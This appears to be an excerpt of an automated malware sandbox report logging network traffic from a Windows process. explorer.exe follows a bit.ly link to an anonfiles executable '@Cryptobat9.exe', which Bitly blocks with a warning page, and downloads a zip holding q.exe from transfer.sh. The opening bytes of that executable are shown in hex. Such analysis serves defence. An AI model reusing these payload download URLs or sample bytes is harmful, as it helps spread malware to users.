2021-12-31 18:12:58 UTC	353	IN	Data Raw: 00 67 00 50 00 55 00 63 00 57 00 48 00 67 00 5a 00 5a 00 2f 00 65 00 7a 00 68 00 49 00 47 00 4d 00 33 00 70 00 7a 00 44 00 69 00 39 00 32 00 72 00 73 00 44 00 75 00 4e 00 4d 00 6e 00 74 00 70 00 62 00 75 00 6e 00 6c 00 66 00 45 00 69 00 43 00 36 00 37 00 72 00 76 00 6f 00 77 00 7a 00 77 00 48 00 4c 00 37 00 6f 00 56 00 42 00 47 00 44 00 71 00 74 00 74 00 73 00 42 00 67 00 6e 00 39 00 4f 00 79 00 70 00 79 00 77 00 6b 00 5a 00 34 00 44 00 63 00 7a 00 74 00 65 00 31 00 61 00 6f 00 37 00 43 00 4b 00 66 00 52 00 36 00 51 00 72 00 41 00 79 00 62 00 34 00 4c 00 61 00 42 00 53 00 4d 00 65 00 78 00 42 00 47 00 38 00 30 00 41 00 30 00 68 00 67 00 63 00 45 00 49 00 73 00 34 00 4a 00 74 00 69 00 79 00 44 00 65 00 75 00 33 00 48 00 49 00 78 00 2b 00 42 00 6e 00 6f 00 Data Ascii: gPUcWHgZZ/ezhIGM3pzDi92rsDuNMntpbunlfEiC67rvowzwHL7oVBGDqttsBgn9OypywkZ4Dczte1ao7CKfR6QrAyb4LaBSMexBG80A0hgcEIs4JtiyDeu3HIx+Bno
2021-12-31 18:12:58 UTC	369	IN	Data Raw: 00 79 00 33 00 76 00 45 00 6e 00 4b 00 38 00 51 00 32 00 33 00 53 00 55 00 74 00 2f 00 44 00 46 00 53 00 33 00 68 00 39 00 43 00 78 00 39 00 4f 00 47 00 39 00 58 00 75 00 64 00 75 00 39 00 32 00 64 00 4f 00 79 00 65 00 32 00 50 00 37 00 44 00 6d 00 69 00 7a 00 56 00 6a 00 52 00 71 00 36 00 74 00 62 00 4c 00 32 00 58 00 72 00 78 00 55 00 58 00 2f 00 75 00 46 00 32 00 74 00 74 00 65 00 6c 00 33 00 46 00 45 00 59 00 4a 00 4a 00 2f 00 73 00 64 00 74 00 68 00 62 00 47 00 6e 00 46 00 45 00 70 00 6c 00 47 00 37 00 32 00 4b 00 65 00 5a 00 42 00 38 00 70 00 38 00 7a 00 7a 00 68 00 39 00 30 00 33 00 6d 00 79 00 45 00 6c 00 64 00 69 00 70 00 7a 00 68 00 71 00 31 00 4a 00 59 00 4f 00 64 00 39 00 6a 00 52 00 79 00 63 00 6c 00 30 00 36 00 4e 00 69 00 50 00 7a 00 32 00 Data Ascii: y3vEnK8Q23SUt/DFS3h9Cx9OG9Xudu92dOye2P7DmizVjRq6tbL2XrxUX/uF2ttel3FEYJJ/sdthbGnFEplG72KeZB8p8zzh903myEldipzhq1JYOd9jRycl06NiPz2
2021-12-31 18:12:58 UTC	385	IN	Data Raw: 00 69 00 6a 00 64 00 31 00 72 00 74 00 6b 00 6b 00 52 00 30 00 33 00 56 00 37 00 35 00 56 00 61 00 6c 00 52 00 55 00 32 00 54 00 72 00 56 00 31 00 46 00 4e 00 38 00 59 00 6b 00 4c 00 48 00 59 00 71 00 45 00 46 00 58 00 32 00 6a 00 5a 00 57 00 42 00 61 00 50 00 4b 00 58 00 67 00 56 00 45 00 76 00 56 00 41 00 4b 00 34 00 53 00 6e 00 6c 00 44 00 7a 00 70 00 69 00 33 00 41 00 75 00 75 00 42 00 6e 00 47 00 39 00 65 00 6d 00 64 00 52 00 6e 00 55 00 5a 00 71 00 67 00 54 00 36 00 30 00 51 00 75 00 48 00 48 00 58 00 67 00 6a 00 35 00 56 00 35 00 5a 00 69 00 32 00 79 00 46 00 46 00 75 00 35 00 30 00 2b 00 52 00 30 00 72 00 4b 00 32 00 6c 00 46 00 79 00 43 00 30 00 4d 00 69 00 49 00 4d 00 78 00 32 00 77 00 6c 00 31 00 37 00 75 00 4e 00 4d 00 73 00 6f 00 77 00 41 00 Data Ascii: ijd1rtkkR03V75ValRU2TrV1FN8YkLHYqEFX2jZWBaPKXgVEvVAK4SnlDzpi3AuuBnG9emdRnUZqgT60QuHHXgj5V5Zi2yFFu50+R0rK2lFyC0MiIMx2wl17uNMsowA
2021-12-31 18:12:58 UTC	401	IN	Data Raw: 00 67 00 44 00 62 00 4d 00 4b 00 4c 00 67 00 55 00 42 00 48 00 34 00 61 00 35 00 4b 00 63 00 46 00 78 00 4d 00 2b 00 66 00 4e 00 46 00 47 00 34 00 54 00 4d 00 42 00 47 00 6f 00 59 00 51 00 4c 00 65 00 79 00 56 00 52 00 6e 00 58 00 38 00 33 00 6f 00 6b 00 77 00 54 00 30 00 73 00 46 00 4a 00 32 00 4a 00 4f 00 79 00 72 00 4c 00 52 00 4b 00 6d 00 54 00 65 00 7a 00 41 00 2b 00 59 00 43 00 53 00 4d 00 72 00 48 00 64 00 65 00 42 00 69 00 6f 00 45 00 65 00 47 00 4d 00 57 00 48 00 69 00 65 00 75 00 62 00 44 00 58 00 63 00 54 00 6a 00 34 00 63 00 37 00 42 00 45 00 53 00 48 00 33 00 75 00 4b 00 6a 00 50 00 63 00 76 00 48 00 49 00 4b 00 55 00 56 00 4d 00 4e 00 64 00 45 00 62 00 5a 00 68 00 6f 00 5a 00 75 00 6a 00 63 00 47 00 30 00 31 00 78 00 4c 00 30 00 53 00 71 00 Data Ascii: gDbMKLgUBH4a5KcFxM+fNFG4TMBGoYQLeyVRnX83okwT0sFJ2JOyrLRKmTezA+YCSMrHdeBioEeGMWHieubDXcTj4c7BESH3uKjPcvHIKUVMNdEbZhoZujcG01xL0Sq
2021-12-31 18:12:58 UTC	417	IN	Data Raw: 00 4d 00 74 00 79 00 5a 00 31 00 46 00 58 00 63 00 42 00 2f 00 4d 00 4e 00 38 00 72 00 5a 00 66 00 32 00 59 00 79 00 6e 00 6e 00 73 00 4d 00 57 00 33 00 45 00 67 00 45 00 57 00 4c 00 32 00 6b 00 50 00 66 00 58 00 69 00 66 00 6b 00 49 00 66 00 4a 00 39 00 75 00 5a 00 2b 00 45 00 47 00 48 00 73 00 47 00 58 00 72 00 61 00 69 00 6a 00 69 00 39 00 56 00 46 00 6d 00 68 00 39 00 43 00 65 00 78 00 48 00 4d 00 4f 00 76 00 69 00 46 00 56 00 64 00 61 00 67 00 4d 00 55 00 65 00 34 00 61 00 63 00 68 00 6f 00 32 00 63 00 37 00 4a 00 4e 00 68 00 42 00 6f 00 69 00 59 00 4f 00 57 00 4e 00 42 00 75 00 74 00 66 00 6a 00 72 00 4e 00 7a 00 73 00 65 00 44 00 76 00 59 00 4d 00 6c 00 30 00 56 00 49 00 79 00 6c 00 56 00 47 00 65 00 51 00 59 00 51 00 4b 00 37 00 67 00 71 00 52 00 Data Ascii: MtyZ1FXcB/MN8rZf2YynnsMW3EgEWL2kPfXifkIfJ9uZ+EGHsGXraiji9VFmh9CexHMOviFVdagMUe4acho2c7JNhBoiYOWNButfjrNzseDvYMl0VIylVGeQYQK7gqR
2021-12-31 18:12:58 UTC	433	IN	Data Raw: 00 59 00 41 00 41 00 2b 00 70 00 68 00 46 00 42 00 68 00 36 00 6e 00 48 00 47 00 41 00 5a 00 6a 00 45 00 76 00 54 00 41 00 49 00 6c 00 4c 00 36 00 69 00 69 00 34 00 44 00 63 00 57 00 65 00 48 00 6c 00 4e 00 73 00 46 00 6b 00 6a 00 2f 00 4b 00 2b 00 36 00 46 00 57 00 63 00 50 00 61 00 4a 00 71 00 4b 00 69 00 66 00 52 00 37 00 53 00 52 00 63 00 77 00 53 00 49 00 64 00 72 00 6d 00 68 00 2b 00 47 00 56 00 4c 00 63 00 66 00 74 00 2f 00 6d 00 4e 00 67 00 62 00 77 00 69 00 58 00 71 00 56 00 67 00 4a 00 59 00 58 00 73 00 68 00 4b 00 47 00 38 00 4c 00 47 00 47 00 57 00 73 00 37 00 4d 00 4e 00 55 00 72 00 46 00 4a 00 6c 00 78 00 56 00 50 00 77 00 71 00 41 00 7a 00 74 00 65 00 4d 00 6b 00 39 00 42 00 65 00 78 00 69 00 6a 00 6a 00 4f 00 54 00 76 00 4c 00 66 00 4d 00 Data Ascii: YAA+phFBh6nHGAZjEvTAIlL6ii4DcWeHlNsFkj/K+6FWcPaJqKifR7SRcwSIdrmh+GVLcft/mNgbwiXqVgJYXshKG8LGGWs7MNUrFJlxVPwqAzteMk9BexijjOTvLfM
2021-12-31 18:12:58 UTC	449	IN	Data Raw: 00 79 00 71 00 41 00 68 00 73 00 4d 00 59 00 37 00 66 00 68 00 73 00 61 00 37 00 4f 00 6f 00 6c 00 37 00 67 00 4d 00 79 00 71 00 49 00 63 00 52 00 61 00 4c 00 74 00 32 00 64 00 36 00 46 00 59 00 73 00 4f 00 7a 00 6a 00 72 00 75 00 6d 00 6c 00 79 00 68 00 71 00 4d 00 46 00 37 00 76 00 36 00 4a 00 5a 00 4b 00 79 00 65 00 6c 00 44 00 45 00 64 00 2f 00 45 00 36 00 58 00 46 00 44 00 74 00 38 00 79 00 54 00 71 00 62 00 45 00 33 00 64 00 50 00 55 00 69 00 4e 00 2f 00 55 00 70 00 5a 00 77 00 76 00 68 00 41 00 78 00 79 00 59 00 2f 00 7a 00 58 00 69 00 33 00 63 00 56 00 56 00 4c 00 34 00 76 00 67 00 4a 00 6a 00 69 00 2f 00 51 00 53 00 4f 00 46 00 38 00 79 00 77 00 6f 00 71 00 64 00 31 00 4e 00 45 00 67 00 6e 00 35 00 7a 00 54 00 50 00 4f 00 32 00 46 00 49 00 51 00 Data Ascii: yqAhsMY7fhsa7Ool7gMyqIcRaLt2d6FYsOzjrumlyhqMF7v6JZKyelDEd/E6XFDt8yTqbE3dPUiN/UpZwvhAxyY/zXi3cVVL4vgJji/QSOF8ywoqd1NEgn5zTPO2FIQ
2021-12-31 18:12:58 UTC	465	IN	Data Raw: 00 4e 00 54 00 4d 00 6a 00 5a 00 36 00 62 00 6e 00 5a 00 66 00 79 00 73 00 7a 00 79 00 79 00 62 00 2b 00 6e 00 31 00 36 00 64 00 69 00 36 00 55 00 62 00 79 00 67 00 54 00 33 00 5a 00 55 00 43 00 46 00 43 00 52 00 2f 00 48 00 30 00 42 00 58 00 4c 00 72 00 63 00 4c 00 44 00 4e 00 37 00 39 00 6f 00 30 00 4e 00 74 00 4d 00 37 00 32 00 31 00 53 00 6c 00 43 00 70 00 77 00 6d 00 79 00 48 00 31 00 6a 00 50 00 42 00 6a 00 69 00 67 00 34 00 47 00 47 00 71 00 50 00 7a 00 30 00 58 00 6f 00 6a 00 51 00 4d 00 71 00 68 00 70 00 51 00 75 00 4b 00 6c 00 31 00 4a 00 38 00 62 00 71 00 36 00 78 00 34 00 38 00 30 00 2b 00 31 00 35 00 76 00 33 00 2f 00 42 00 79 00 64 00 68 00 43 00 69 00 69 00 57 00 6e 00 32 00 32 00 43 00 75 00 49 00 51 00 47 00 72 00 48 00 70 00 75 00 6f 00 Data Ascii: NTMjZ6bnZfyszyyb+n16di6UbygT3ZUCFCR/H0BXLrcLDN79o0NtM721SlCpwmyH1jPBjig4GGqPz0XojQMqhpQuKl1J8bq6x480+15v3/BydhCiiWn22CuIQGrHpuo
2021-12-31 18:12:58 UTC	480	IN	Data Raw: 6c 00 48 00 6d 00 6a 00 4f 00 30 00 51 00 6b 00 30 00 6c 00 30 00 6f 00 53 00 6e 00 55 00 45 00 71 00 35 00 73 00 53 00 35 00 46 00 6e 00 45 00 64 00 4d 00 33 00 4a 00 69 00 4a 00 68 00 4c 00 59 00 32 00 41 00 6b 00 6d 00 71 00 4c 00 57 00 77 00 49 00 58 00 76 00 76 00 71 00 43 00 54 00 45 00 41 00 7a 00 5a 00 50 00 64 00 6b 00 45 00 64 00 74 00 36 00 59 00 7a 00 74 00 75 00 43 00 77 00 48 00 4a 00 69 00 58 00 69 00 53 00 6e 00 63 00 46 00 47 00 4c 00 53 00 64 00 75 00 61 00 71 00 39 00 31 00 6f 00 67 00 56 00 55 00 30 00 37 00 2f 00 45 00 37 00 64 00 43 00 4f 00 33 00 70 00 75 00 35 00 4f 00 63 00 71 00 34 00 6d 00 38 00 63 00 42 00 44 00 71 00 4e 00 68 00 57 00 44 00 6e 00 34 00 2f 00 4f 00 6c 00 44 00 36 00 64 00 39 00 77 00 50 00 4c 00 6b 00 4a 00 64 Data Ascii: lHmjO0Qk0l0oSnUEq5sS5FnEdM3JiJhLY2AkmqLWwIXvvqCTEAzZPdkEdt6YztuCwHJiXiSncFGLSduaq91ogVU07/E7dCO3pu5Ocq4m8cBDqNhWDn4/OlD6d9wPLkJd
2021-12-31 18:12:58 UTC	496	IN	Data Raw: 30 00 39 00 63 00 41 00 4e 00 66 00 61 00 56 00 72 00 77 00 67 00 44 00 55 00 78 00 6e 00 32 00 48 00 68 00 7a 00 32 00 53 00 57 00 4d 00 4c 00 65 00 61 00 59 00 76 00 51 00 45 00 74 00 6f 00 74 00 67 00 41 00 67 00 67 00 43 00 34 00 71 00 56 00 53 00 76 00 67 00 75 00 31 00 61 00 44 00 4b 00 4d 00 73 00 36 00 42 00 74 00 52 00 70 00 53 00 35 00 75 00 75 00 75 00 45 00 4f 00 75 00 46 00 78 00 72 00 50 00 61 00 6a 00 46 00 39 00 30 00 4b 00 5a 00 52 00 61 00 64 00 6e 00 33 00 45 00 61 00 68 00 72 00 36 00 42 00 62 00 78 00 59 00 74 00 54 00 71 00 37 00 6a 00 69 00 47 00 37 00 43 00 58 00 66 00 66 00 6d 00 43 00 54 00 49 00 63 00 78 00 36 00 72 00 6f 00 56 00 67 00 52 00 32 00 71 00 71 00 77 00 51 00 79 00 79 00 64 00 4c 00 76 00 59 00 79 00 70 00 73 00 36 Data Ascii: 09cANfaVrwgDUxn2Hhz2SWMLeaYvQEtotgAggC4qVSvgu1aDKMs6BtRpS5uuuEOuFxrPajF90KZRadn3Eahr6BbxYtTq7jiG7CXffmCTIcx6roVgR2qqwQyydLvYyps6
2021-12-31 18:12:58 UTC	512	IN	Data Raw: 64 00 4d 00 59 00 73 00 42 00 7a 00 42 00 54 00 37 00 79 00 41 00 32 00 50 00 47 00 61 00 61 00 73 00 43 00 39 00 75 00 2f 00 6f 00 52 00 75 00 68 00 42 00 63 00 6d 00 48 00 33 00 42 00 5a 00 2b 00 37 00 44 00 68 00 6b 00 68 00 56 00 71 00 52 00 72 00 56 00 6b 00 73 00 32 00 71 00 6f 00 30 00 34 00 62 00 32 00 4a 00 6d 00 46 00 4e 00 78 00 47 00 44 00 74 00 6e 00 73 00 43 00 61 00 57 00 4f 00 5a 00 51 00 33 00 47 00 31 00 4d 00 6e 00 50 00 72 00 6b 00 72 00 75 00 42 00 55 00 32 00 6e 00 38 00 75 00 72 00 45 00 59 00 7a 00 38 00 58 00 65 00 36 00 35 00 4d 00 35 00 5a 00 59 00 42 00 78 00 35 00 75 00 76 00 73 00 51 00 2b 00 41 00 36 00 65 00 69 00 7a 00 48 00 53 00 52 00 51 00 37 00 73 00 38 00 4e 00 7a 00 43 00 30 00 4f 00 61 00 79 00 69 00 52 00 6f 00 6e Data Ascii: dMYsBzBT7yA2PGaasC9u/oRuhBcmH3BZ+7DhkhVqRrVks2qo04b2JmFNxGDtnsCaWOZQ3G1MnPrkruBU2n8urEYz8Xe65M5ZYBx5uvsQ+A6eizHSRQ7s8NzC0OayiRon

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49856	67.199.248.10	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-31 18:13:29 UTC	526	OUT	GET /3eHgQQR HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: bit.ly
2021-12-31 18:13:29 UTC	526	IN	HTTP/1.1 302 Found Server: nginx Date: Fri, 31 Dec 2021 18:13:29 GMT Content-Type: text/html; charset=utf-8 Content-Length: 226 Cache-Control: private, max-age=90 Content-Security-Policy: referrer always; Location: https://bitly.com/a/blocked?hash=3eHgQQR&url=https%3A%2F%2Fcdn-131.anonfiles.com%2FP0m5w4j2xc%2Fcac3eb98-1640853984%2F%40Cryptobat9.exe Referrer-Policy: unsafe-url Via: 1.1 google Alt-Svc: clear Connection: close
2021-12-31 18:13:29 UTC	527	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 42 69 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 69 74 6c 79 2e 63 6f 6d 2f 61 2f 62 6c 6f 63 6b 65 64 3f 68 61 73 68 3d 33 65 48 67 51 51 52 26 61 6d 70 3b 75 72 6c 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 63 64 6e 2d 31 33 31 2e 61 6e 6f 6e 66 69 6c 65 73 2e 63 6f 6d 25 32 46 50 30 6d 35 77 34 6a 32 78 63 25 32 46 63 61 63 33 65 62 39 38 2d 31 36 34 30 38 35 33 39 38 34 25 32 46 25 34 30 43 72 79 70 74 6f 62 61 74 39 2e 65 78 65 22 3e 6d 6f 76 65 64 20 68 65 72 65 3c 2f 61 3e 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>Bitly</title></head><body><a href="https://bitly.com/a/blocked?hash=3eHgQQR&url=https%3A%2F%2Fcdn-131.anonfiles.com%2FP0m5w4j2xc%2Fcac3eb98-1640853984%2F%40Cryptobat9.exe">moved here</a></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49857	67.199.248.14	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-31 18:13:29 UTC	527	OUT	GET /a/blocked?hash=3eHgQQR&url=https%3A%2F%2Fcdn-131.anonfiles.com%2FP0m5w4j2xc%2Fcac3eb98-1640853984%2F%40Cryptobat9.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: bitly.com
2021-12-31 18:13:29 UTC	527	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 31 Dec 2021 18:13:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 5879 Set-Cookie: anon_u=cHN1X19mMGQ4OTQ5Yi01ZDAyLTQyOTctOTkyYy1jZWFiZGYxMmE1YmE=\|1640974409\|5815c84076b4794533383ecfb5f02500c55008e1; Domain=bitly.com; expires=Wed, 29 Jun 2022 18:13:29 GMT; httponly; Path=/; secure Etag: "c19624a6e02662e870f645f063e54797e509758d" Pragma: no-cache Cache-Control: no-cache, no-store, max-age=0, must-revalidate X-Frame-Options: DENY P3p: CP="CAO PSA OUR" Strict-Transport-Security: max-age=31536000 Via: 1.1 google Alt-Svc: clear Connection: close
2021-12-31 18:13:29 UTC	528	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 57 61 72 6e 69 6e 67 21 20 7c 20 54 68 65 72 65 20 6d 69 67 68 74 20 62 65 20 61 20 70 72 6f 62 6c 65 6d 20 77 69 74 68 20 74 68 65 20 72 65 71 75 65 73 74 65 64 20 6c 69 6e 6b 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d Data Ascii: <!DOCTYPE html><html><head><title>Warning! \| There might be a problem with the requested link</title><meta name="viewport" content="width=device-width, initial-scale=1"><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta name=
2021-12-31 18:13:29 UTC	528	IN	Data Raw: 20 22 50 72 6f 78 69 6d 61 20 4e 6f 76 61 22 3b 0a 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 38 30 30 3b 0a 73 72 63 3a 20 75 72 6c 28 27 2f 73 2f 76 34 36 38 2f 67 72 61 70 68 69 63 73 2f 50 72 6f 78 69 6d 61 4e 6f 76 61 2d 45 78 74 72 61 62 6f 6c 64 2e 6f 74 66 27 29 20 66 6f 72 6d 61 74 28 22 6f 70 65 6e 74 79 70 65 22 29 3b 0a 7d 0a 62 6f 64 79 2c 0a 68 74 6d 6c 20 7b 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 50 72 6f 78 69 6d 61 20 4e 6f 76 61 22 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 20 61 6e 74 69 61 6c 69 61 73 65 64 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 70 78 3b 0a 63 6f 6c 6f 72 3a 20 23 31 64 31 66 32 31 3b 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 Data Ascii: "Proxima Nova";font-weight: 800;src: url('/s/v468/graphics/ProximaNova-Extrabold.otf') format("opentype");}body,html {font-family: "Proxima Nova", Arial, sans-serif;-webkit-font-smoothing: antialiased;font-size: 10px;color: #1d1f21;background-c
2021-12-31 18:13:29 UTC	530	IN	Data Raw: 64 69 6e 67 3a 20 37 25 20 35 25 20 31 34 25 20 35 25 3b 0a 7d 0a 2e 68 65 61 64 65 72 20 7b 0a 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 72 65 6d 3b 0a 7d 0a 2e 68 65 61 64 6c 69 6e 65 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 20 63 6f 6c 75 6d 6e 3b 0a 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 2e 68 65 61 64 6c 69 6e 65 20 7b 0a 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 7d 0a 2e 77 61 72 6e 69 6e 67 2d 69 6d 67 20 7b 0a 77 69 64 74 68 3a 20 35 30 25 3b 0a 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 20 32 72 65 6d 3b 0a 7d 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 35 30 70 78 29 20 7b 0a 2e 77 61 72 6e 69 6e 67 2d 69 6d 67 20 7b 0a 77 69 64 74 68 Data Ascii: ding: 7% 5% 14% 5%;}.header {margin-bottom: 2rem;}.headline-container {flex-direction: column;justify-content: center;}.headline {width: 100%;}.warning-img {width: 50%;margin: 0 auto 2rem;}}@media (max-width: 750px) {.warning-img {width
2021-12-31 18:13:29 UTC	531	IN	Data Raw: 20 6d 61 6c 77 61 72 65 20 28 73 6f 66 74 77 61 72 65 20 64 65 73 69 67 6e 65 64 20 74 6f 20 68 61 72 6d 20 79 6f 75 72 20 63 6f 6d 70 75 74 65 72 29 2c 20 61 74 74 65 6d 70 74 20 74 6f 20 63 6f 6c 6c 65 63 74 20 79 6f 75 72 20 70 65 72 73 6f 6e 61 6c 0a 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 66 6f 72 20 6e 65 66 61 72 69 6f 75 73 20 70 75 72 70 6f 73 65 73 2c 20 6f 72 20 6f 74 68 65 72 77 69 73 65 20 63 6f 6e 74 61 69 6e 20 68 61 72 6d 66 75 6c 20 61 6e 64 2f 6f 72 20 69 6c 6c 65 67 61 6c 20 63 6f 6e 74 65 6e 74 2e 3c 2f 6c 69 3e 0a 3c 6c 69 3e 54 68 65 20 6c 69 6e 6b 20 6d 61 79 20 62 65 20 61 74 74 65 6d 70 74 69 6e 67 20 74 6f Data Ascii: malware (software designed to harm your computer), attempt to collect your personalinformation for nefarious purposes, or otherwise contain harmful and/or illegal content.</li><li>The link may be attempting to
2021-12-31 18:13:29 UTC	531	IN	Data Raw: 20 68 69 64 65 20 74 68 65 20 66 69 6e 61 6c 20 64 65 73 74 69 6e 61 74 69 6f 6e 2e 3c 2f 6c 69 3e 0a 3c 6c 69 3e 54 68 65 20 6c 69 6e 6b 20 6d 61 79 20 6c 65 61 64 20 74 6f 20 61 20 66 6f 72 67 65 72 79 20 6f 66 20 61 6e 6f 74 68 65 72 20 77 65 62 73 69 74 65 20 6f 72 20 6d 61 79 20 69 6e 66 72 69 6e 67 65 20 74 68 65 20 72 69 67 68 74 73 20 6f 66 20 6f 74 68 65 72 73 2e 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 70 3e 0a 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 6c 69 6e 6b 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 42 69 74 6c 79 20 76 69 61 20 3c 73 70 61 6e 3e 3c 61 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 0a 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 Data Ascii: hide the final destination.</li><li>The link may lead to a forgery of another website or may infringe the rights of others.</li></ul><p>If you believe this link has been blocked in error, please contact Bitly via <span><a target="_blank"rel="noopene
2021-12-31 18:13:29 UTC	533	IN	Data Raw: 20 54 72 61 63 6b 20 70 61 67 65 20 76 69 65 77 0a 77 2e 67 61 28 27 73 65 6e 64 27 2c 20 27 70 61 67 65 76 69 65 77 27 29 3b 0a 0a 7d 29 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 76 61 72 20 63 61 74 65 67 6f 72 79 20 3d 20 22 73 70 61 6d 3a 77 61 72 6e 69 6e 67 5f 70 61 67 65 22 2c 0a 73 74 61 74 65 20 3d 20 30 3b 0a 66 75 6e 63 74 69 6f 6e 20 74 72 61 63 6b 48 6f 76 65 72 28 65 29 20 7b 0a 74 72 79 20 7b 0a 73 74 61 74 65 20 3d 20 31 3b 0a 67 61 28 27 73 65 6e 64 27 2c 20 27 65 76 65 6e 74 27 2c 20 63 61 74 65 67 6f 72 79 2c 20 22 53 70 61 6d 20 69 6e 74 65 72 73 74 69 Data Ascii: Track page vieww.ga('send', 'pageview');})(window,document);</script><script type="text/javascript">(function () {var category = "spam:warning_page",state = 0;function trackHover(e) {try {state = 1;ga('send', 'event', category, "Spam intersti

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49859	144.76.136.153	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-31 18:13:30 UTC	534	OUT	GET /%28/8V4TRR/q.exe%29.zip HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: transfer.sh
2021-12-31 18:13:30 UTC	534	IN	HTTP/1.1 200 OK Server: nginx/1.14.2 Date: Fri, 31 Dec 2021 18:13:30 GMT Content-Type: application/zip Transfer-Encoding: chunked Connection: close Content-Disposition: attachment; filename="transfersh-45029.zip" X-Made-With: <3 by DutchCoders X-Served-By: Proudly served by DutchCoders
2021-12-31 18:13:30 UTC	534	IN	Data Raw: 65 63 35 0d 0a 50 4b 03 04 14 00 08 00 00 00 af 91 9f 53 00 00 00 00 00 00 00 00 00 00 00 00 05 00 09 00 71 2e 65 78 65 55 54 05 00 01 4a 48 cf 61 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 e0 c3 e7 f0 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 5c 0f 00 00 08 00 00 00 00 00 00 7e 7a 0f 00 00 20 00 00 00 80 0f 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 Data Ascii: ec5PKSq.exeUTJHaMZ@!L!This program cannot be run in DOS mode.$PEL0\~z @
